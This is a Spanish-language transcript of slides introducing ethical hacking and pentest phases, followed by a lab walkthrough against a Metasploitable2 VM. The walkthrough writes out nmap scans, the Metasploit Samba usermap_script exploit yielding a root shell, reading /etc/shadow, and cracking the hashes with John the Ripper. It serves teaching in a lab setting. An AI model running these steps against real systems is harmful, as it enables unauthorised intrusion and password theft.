iniciación al ethical hacking

Download Iniciación al Ethical Hacking

If you can't read please download the document

Upload: chris-fernandez-cehv7-ecppt-linux-engineer

Post on 16-Apr-2017

28.822 views

Category:

Technology


2 download

TRANSCRIPT

Introduccin al

Hispagatos.orgHacking ticoChristian [email protected]+:[email protected]: http://es.linkedin.com/in/chfernandez

El Objetivo de esta presentacin es la de introducir la idea de lo que es un hacker tico y tocar un poco por encima los pasos que Se suelen seguir en servicios de pruebas de penetracin que se suelen realizar, y de algunas herramientas tpicas. Este es un mundo muy extenso que tiene muchas variedades y muchos tpicos.

test

Definiciones

1. Hacker es el neologismo utilizado para referirse a un EXPERTO en varias o alguna rama tcnica relacionada con la informtica: programacin, redes de informtica, sistemas operativos, hardware de red/voz, etc. Se suele llamar hacker o hackear a las obras propias de un hacker.2. Hacker, usando la palabra inglesa, quiere decir; divertirse con el ingenio, usar la inteligencia para hacer algo difcil. No implica trabajar solo ni en grupo necesariamente. Es posible en cualquier proyecto. No implica tampoco hacerlo con ordenadores. Es posible ser un hacker de las bicicletas. Por ejemplo, un mecanico modificando un coche de fabrica para que funcione de maneras que el fabricante no tenia previsto. Richard Stallman.3. Hacker, tambien usado gracias al cambio positivo en los ltimos 10 aos por el esfuerzo de la comunidad informtica en cambiar el tab de dicha palabra. Es la de hackear un sistema o codigo de programacin en referencia a mejorar estos o trabajar de una manera casi obsesiva en dicho cdigo o sistema. Por ejemplo Vamos a quedar para hackear un poco nuestro codigo ruby

Tipos de hackers

Desde los tiempos de los primeros hackers en las lineas de telfonos llamados phreakers, como el propio Steve Wozniak y mas adelante en la MIT de Massachusetts, el termino hacker como hemos definido anteriormente fue por medio de las pelculas y las noticias negativas sustituido para definir solamente a un hacker criminal. Hoy en da esta generalizacin de la comunidad hacker ha sido poco a poco rehabilitada a su contenido original, con lo cual se pueden distinguir tres modalidades de hackers, de lo cual salen muchas mas sub-modalidades.

White Hats:Son aquellos hackers en los que entraran la mayora de hackers eticos. Desarrollando, creando y usando sus ideas, teoras y saber en un modo positivo. Por ejemplo, aquellos hackers que todos los das crean tecnologa nueva. Encuentran fallos de seguridad y bugs en el software, lo arreglan y lo hacen publico.

Black Hats:Son aquellos hackers que tienen una finalidad criminal, sus impulsos van mucho mas lejos de lo que es crear, mejorar y asegurar la tecnologa, pero tambin la de la avaricia y de llenarse los bolsillos con dinero rpido. Encuentran fallos de seguridad y bugs en el software pero no lo publican y los venden o usan ellos mismos.

Grey Hats:Son los hackers que no son criminales, ni optan tampoco por una vida limpia y de complacencia como los white hats, un ejemplo de Grey Hat a mi punto de vista pueden ser los hacktivistas, ya que para unos estn haciendo algo positivo y para otros negativo, as que estn en una zona gris.

Que es el hacking tico

Utiliza las mismas herramientas y manera de trabajar que un black hat hacker

Es contratado por empresas publicas y privadas para ejercer pruebas de penetracin de seguridad(PenTesting)

Trabaja solo o para empresas en departamentos de InfoSec (Information Security)

PenTesting

Conjunto de metodologas y tcnicas para la realizacin y simulacin de un ataque en un escenario controlado, al cual se le practica un test de intrusin, para evaluar la seguridad de un sistema o de una red informtica, y as encontrar los puntos dbiles y vulnerables en dichos sistemas o redes.

Este proceso, nos orienta a un anlisis profundo para as determinar las vulnerabilidades potenciales, que pudiesen derivarse por una configuracin incorrecta del sistema, pueden ser de hardware o bugs de software o desconocidas, incluso en las deficiencias operativas y tcnicas en el proceso de contra medidas del programador, administrador de sistemas o ingenieros de redes informaticas, etc.

Estos test de penetracin se deben realizar desde una perspectiva de un atacante potencial y pueden implicar la explotacin de vulnerabilidades.

Aqu juega un papel muy importante la tica del profesional, porque los problemas encontrados, deben ser informados a la empresa o usuario afectado, junto con un reporte y una documentacin debidamente estructurada, para as informarlo de la magnitud del problema y adems brindar soluciones.

Para saber defender, primero se debe aprender a atacar

Por qu es importante realizar pruebas de penetracin peridicas?

La seguridad de una organizacin es un aspecto cambiante. Una empresa puede alcanzar un nivel de proteccin ptimo en un momento determinado y ser totalmente sensible poco despus, tras cambios en la configuracin de un servidor o tras la instalacin de nuevos dispositivos de red. Al mismo tiempo, continuamente aparecen nuevos fallos de seguridad en software existentes, que previamente se crean seguros.Una poltica de realizacin de pruebas de penetracin peridicas mitiga, en gran medida, el riesgo asociado a un entorno en constante cambio, tal como lo representan los sistemas informticos de cualquier compaa.

Tipos de ataques:

ACTIVOS: los ataques activos, alteran y comprometen la disponibilidad, integridad, autenticidad de la informacin, as afectando a los sistemas, redes y aplicaciones del objetivo a atacar.

Ejemplo: Sql Injection, Alteracion de una web app, robo de informacion..

PASIVOS: los ataques pasivos, no alteran, ni modifican al sistema o red objetivo, solo se obtiene y compromete la confidencialidad de la informacin

Ejemplo: sniffing, y el information gathering en general.

Modalidades de Ataques:

1. Ataques Internos: Un ataque interno, es realizado desde el interior del permetro del objetivo, por lo general suelen ser perpetrados por personal propio de la empresa, empleados inconformes o clientes que tienen acceso. Con la ayuda de malas configuraciones o cdigo escrito sin tener en cuenta la seguridad del mismo.Ejemplo: Ataque a la red wifi, hardware keyloggers, Malware instalado localmente, como por una USB-pendrive.

2. Ataques Externos: El ataque externo es el que se realiza desde una fuente externa al permetro del objetivo a atacar. Ejemplo: Exploit Remoto por una red externa como Internet, Ataque de negacin de servicios(DOS).

Tecnicas de Ataque:

- Denegacin de servicio, DoS- Crackeo de contrasea por fuerza bruta- Explotacion de vulnerabilidades, local o remoto.- Phising/ scam- Secuestro de sesiones en redes wifi de webapps.- Secuestro de informacion SSL con MIM(Man in the middle)- Hijacking (secuestro), de dominio, seccion, ip, entre otras- Spoofing (suplantacin) de ip, DNS, etc.- Ingeniera social- Ataques a bases de datos como, SQLi (Sql injection)- Ataques al I/O de las web como con el XSS (Cross site Scripting) - Y muchos mas...

Esto es un tema muy controvertido entre la comunidad hacker y de profesionales de la seguridad informticaLa verdad es que las respuestas son muy variadas.

A mi opinin, lo mas importante es la curiosidad, la enseanza pasional incluso autodidacta casi diaria y sobre todo creatividad.Casi todos mis compaeros, pintan, tocan un instrumento, tienen o han tenido una pasin creativa.

Pero si tengo que enumerar una lista: Conocimientos avanzados en programacin y scripting (python, ruby, C/C++, Java...)

Tener conocimientos profundos de diversas plataformas como Linux, Windows, Unix, Cisco IOS, etc.

Conocimiento en redes y protocolos, tcp/ip, arquitecturas, etc.

Conocimiento de hardware, routers, switches,

Conocimientos en tcnicas, metodologas y herramientas de hacking y mas importante poder escribir tus propias herramientas

Capacidad de anlisis e investigacin para proveer soluciones.

Conocimientos para un Hacker tico?

Anatoma de un Ataque informtico

Obtener informacin del objetivo. information gathering

Descubrir elementos de la red y Enumerar servicios. Scanning and Enumeration

Exploracin de vulnerabilidades.

Penetracin. Gaining and Maintaining Access

Ejemplos de Information gathering

Herramientas: Whois

Google/bing/yahoo

Google Dorks(inurl:"/cgi-mod/index.cgi")

Nslookup/dig

Shodan

En ella utilizaremos los buscadores, herramientas de anlisis de DNS, whois y dems herramientas para obtener informacin de nuestra vctima Adems, podemos hacer una exploracin de meta-datos de los documentos, imgenes y otros tipos de archivos que tengamos a nuestro alcance navegando.

En ella con la informacin conseguida anteriormente trataremos de conseguir direcciones IP de nuestra vctima, nombres de usuarios y contraseas vlidas de su entorno y nombres de servicios y aplicaciones accesibles, y todo aquello que luego nos pueda ayudar a lanzar nuestro ataque. Dejar claro que esta fase al igual que la primera, solo es de investigacin, no se llevar a cabo ningn ataque, ser ms bien la realizacin de un checklist de elementos existentes.

Scanning and EnumerationEnumeracion y escaneo

Herramientas:

Nmap

Hping3

Wget

Curl

Telnet

NetCat

En ella empezaremos a actuar sobre los sistemas encontrados, los analizaremos en busca de vulnerabilidades, ya sea en la infraestructura, los sistemas operativos, los servicios disponibles o las aplicaciones existentes.

Research and vulnerability findingExploracin de vulnerabilidades

Herramientas:Tus propios 0 dayz

Base de datos de vulnerabilidades como exploit-db.com

Penetracin/Ataque

En esta fase realizaremos la intrusin en el sistema y obtendremos evidencias de nuestra intrusin para la posterior documentacin o la demostracin de que hemos realizado la intrusin.

Sqli

Remote Exploits

Social Engineering

MitM

Wifi Cracking

Etc... Muchas maneras y cada da mas

Herramientas y Frameworks populares de un PenTester

Las herramientas para hacer pentesting son solo eso herramientas,Y facilitan la vida mucho, pero los hacker ticos mas avanzados crean sus propias herramientas construidas para cada objetivo.Hoy vamos a explorar una de las mas famosas.

Mestaploit, es un framework que hace todo los pasos en una sola aplicacin.

TALLER

Necesario:

Metasploit framework

Nmap

GNU/Linux como Host VM

Metasploitable2 como Guest VM

VirtualBox

John the ripper

Diccionario rockyou.txt o cualquier otro cuanto mas completo mejor http://wiki.skullsecurity.org/Passwords

Cuando se tiene todo preparado. Vamos a proceder a emepezar con los pasos de un pentester, obviamente es mucho mas rapido y facil ya que no tenemos que hacer el information gathering, ya que sabemos todo sobre nosotros mismos.

Notas del setup:- Preparar el Guest VM(metasploitable) en VirtualHost y en la red configurarlo en vez de en modo NAT en modo HOST-ONLY ADAPTER para esto lo mas seguro que tengas que ir a File/Preferences/Network y crear un adapter, resulta algo como vboxnet0.Ya teniendo esto, te sale el nombre para seleccionarlo cuando haces el cambio de NAT a host-only adapter. Name: vboxnet0.- en el Host(tu ordenador GNU/Linux) bajate metasploit,nmap,john the ripper etc.

# Ifconfig vbocnet0

Y vemos que hay un vboxnet0

vboxnet0 Link encap:Ethernet HWaddr 0a:00:27:00:00:00 inet addr:192.168.56.1 Bcast:192.168.56.255 Mask:255.255.255.0 inet6 addr: fe80::800:27ff:fe00:0/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:900 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:59046 (59.0 KB)

Ya sabemos el network, ahora escaneamos la subnet para ver las maquinas exitentes y vamos a ver dos host que estn UP, una es la nuestra y la otra el objetivo.

# Nmap -sP 192.168.56.0/24

Starting Nmap 6.41SVN ( http://nmap.org ) at 2013-11-06 16:17 CETNmap scan report for 192.168.56.1Host is up (0.00073s latency).Nmap scan report for 192.168.56.101Host is up (0.00026s latency).Nmap done: 256 IP addresses (2 hosts up) scanned in 2.50 seconds

# nmap 192.168.56.101

Vemos que hay muchos servicios, pero supongamos que tenemos la sospecha que estan usando un sistema Debian,Y sabemos que Debian tiene varias vulnerabilidades y puede que el administrador no este al tanto de los updates.

Starting Nmap 6.41SVN ( http://nmap.org ) at 2013-11-06 16:20 CETNmap scan report for 192.168.56.101Host is up (0.0031s latency).Not shown: 977 closed portsPORT STATE SERVICE21/tcp open ftp22/tcp open ssh23/tcp open telnet25/tcp open smtp53/tcp open domain80/tcp open http111/tcp open rpcbind139/tcp open netbios-ssn445/tcp open microsoft-ds512/tcp open exec513/tcp open login514/tcp open shell1099/tcp open rmiregistry1524/tcp open ingreslock2049/tcp open nfs2121/tcp open ccproxy-ftp3306/tcp open mysql5432/tcp open postgresql5900/tcp open vnc6000/tcp open X116667/tcp open irc8009/tcp open ajp138180/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds

Entonces miramos a ver que version de samba esta corriendo y vemos que es el samba 3.0.20 y es un sistema Debian.

# nmap --script smb-os-discovery.nse -p445 192.168.56.101

Starting Nmap 6.41SVN ( http://nmap.org ) at 2013-11-06 16:28 CET Nmap scan report for 192.168.56.101 Host is up (0.00083s latency). PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | NetBIOS computer name: | Workgroup: WORKGROUP |_ System time: 2013-11-06T10:28:01-05:00

Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds

Con lo cual sabemos que es vulnerable, por el search que hemos realizadoPodemos ahora obviamente ver segn la base de datos de metasploit que:

http://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script

Samba versions 3.0.20 through 3.0.25rc3 when using the non-default "username map script" configuration option. By specifying a username containing shell meta characters, attackers can execute arbitrary commands. No authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication!

CVE-2007-2447OSVDB-34700BID-23972URL: http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534URL: http://samba.org/samba/security/CVE-2007-2447.html

Para saber que son metecharacters en linux: http://www.sal.ksu.edu/faculty/tim/unix_sg/shell/metachar.html

Vale, ahora ya sabemos que de todos los puertos, uno creemos que es vulnerable,Asi que vamos a probar.

Vamos a correr el metasploit

# msfconsole

Buscamos por exploits de samba

msf > search samba

Matching Modules================

Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/admin/smb/samba_symlink_traversal normal Samba Symlink Directory Traversal auxiliary/dos/samba/lsa_addprivs_heap normal Samba lsa_io_privilege_set Heap Overflow auxiliary/dos/samba/lsa_transnames_heap normal Samba lsa_io_trans_names Heap Overflow auxiliary/dos/samba/read_nttrans_ea_list normal Samba read_nttrans_ea_list Integer Overflow exploit/freebsd/samba/trans2open 2003-04-07 00:00:00 UTC great Samba trans2open Overflow (*BSD x86) exploit/linux/samba/chain_reply 2010-06-16 00:00:00 UTC good Samba chain_reply Memory Corruption (Linux x86) exploit/linux/samba/lsa_transnames_heap 2007-05-14 00:00:00 UTC good Samba lsa_io_trans_names Heap Overflow exploit/linux/samba/setinfopolicy_heap 2012-04-10 00:00:00 UTC normal Samba SetInformationPolicy AuditEventsInfo Heap Overflow exploit/linux/samba/trans2open 2003-04-07 00:00:00 UTC great Samba trans2open Overflow (Linux x86) exploit/multi/samba/nttrans 2003-04-07 00:00:00 UTC average Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow exploit/multi/samba/usermap_script 2007-05-14 00:00:00 UTC excellent Samba "username map script" Command Execution exploit/osx/samba/lsa_transnames_heap 2007-05-14 00:00:00 UTC average Samba lsa_io_trans_names Heap Overflow exploit/osx/samba/trans2open 2003-04-07 00:00:00 UTC great Samba trans2open Overflow (Mac OS X PPC) exploit/solaris/samba/lsa_transnames_heap 2007-05-14 00:00:00 UTC average Samba lsa_io_trans_names Heap Overflow exploit/solaris/samba/trans2open 2003-04-07 00:00:00 UTC great Samba trans2open Overflow (Solaris SPARC) exploit/unix/misc/distcc_exec 2002-02-01 00:00:00 UTC excellent DistCC Daemon Command Execution exploit/unix/webapp/citrix_access_gateway_exec 2010-12-21 00:00:00 UTC excellent Citrix Access Gateway Command Execution exploit/windows/http/sambar6_search_results 2003-06-21 00:00:00 UTC normal Sambar 6 Search Results Buffer Overflow exploit/windows/license/calicclnt_getconfig 2005-03-02 00:00:00 UTC average Computer Associates License Client GETCONFIG Overflow post/linux/gather/enum_configs normal Linux Gather Configurations

Encontramos el modulo, asi que vamos a usarlo.

msf > use exploit/multi/samba/usermap_script

Preparamos la variable de RHOST(Remote Host) con la ip del objetivo.

msf exploit(usermap_script) > set RHOST 192.168.56.101RHOST => 192.168.56.101

Y finalmente corremos exploit para atacar.

msf exploit(usermap_script) > exploit

Esto nos va a dar una Linux shell, pero raw.. podemos teclear comandos pero no hay echo ni linux promp. #bash> etc. es normal.

[*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.101:38956) at 2013-11-06 16:44:58 +0100

Ahora si todo sale bien tendremos acceso como usuario root(administrador)Para eso tecleamos el comando id

iduid=0(root) gid=0(root)

Y Ahora que?

Bueno, tenemos una maquina, problemente esta maquina no sea muy importante o es un gateway etc.. una de las muchas cosas que se pueden hacer es guardar el shadow filePara crackearlo, es corriente que administradores usen el mismo password en mas de una maquina... Con lo cual tecleamos:

cat /etc/shadow

Seleccionamos, copiamos y pastemos el contenido en nuestro ordenador por que Vamos a usar un password cracker como John de Ripper para sacar los passwords que estn cifrados en MD5.

# john -w:lista_passwords.txt shadow Loaded 7 password hashes with 7 different salts (FreeBSD MD5 [32/64 X2])user (user)msfadmin (msfadmin)postgres (postgres)batman (sys)123456789 (klog)service (service)guesses: 6 time: 0:00:00:00 100% c/s: 136 trying: 123456789 - serviceUse the "--show" option to display all of the cracked passwords reliably

Si te interesa el tema, puedo recomendar:

Libros:- Hacking the art of exploitation- Violent Python- The tootkit Aresenal- Buffer overflow Attacks- A Bug Hunter's Diary

Revistas:- HAKIN9- [hack]in[SIGHT]- 2600

E-zines- Phrack http://phrack.org

Documentales- Code 2600

Peliculas- Sneakers

Videos- http://www.securitytube.net/

Google Dorks ejemplos: http://www.exploit-db.com/google-dorks/

ShodanHQ: http://www.shodanhq.com/

PacketStorm Security: http://packetstormsecurity.com/

Nmap: http://nmap.org/

Exploit-DB: http://exploit-db.com

Mestasploit: http://www.metasploit.com/

John the Ripper: http://www.openwall.com/john/

Metasploitable: http://sourceforge.net/projects/metasploitable/files/Metasploitable2/

Samba usermap_script: http://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script

Diccionarios de passwords: http://wiki.skullsecurity.org/Passwords

The hacker news: http://thehackernews.com/

BinaryFreedom: http://binaryfreedom.info/